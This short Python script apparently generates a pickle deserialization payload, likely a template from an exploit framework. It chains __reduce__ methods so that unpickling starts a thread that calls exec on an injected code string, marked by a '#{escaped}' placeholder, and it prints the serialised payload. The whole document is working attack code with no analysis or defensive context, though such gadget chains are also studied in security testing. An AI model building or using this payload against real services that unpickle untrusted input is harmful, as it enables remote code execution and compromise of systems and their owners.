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import pickle
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import threading
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class CreateThread:
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    def __reduce__(self):
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        return threading.Thread, (None, __builtins__.exec, None, ('#{escaped}',))
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class GadgetChain:
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    def __reduce__(self):
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        return threading.Thread.start, (CreateThread(),)
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if __name__ == '__main__':
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    pickled = pickle.dumps(GadgetChain(), protocol=0)
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    print(repr(pickled.decode()))
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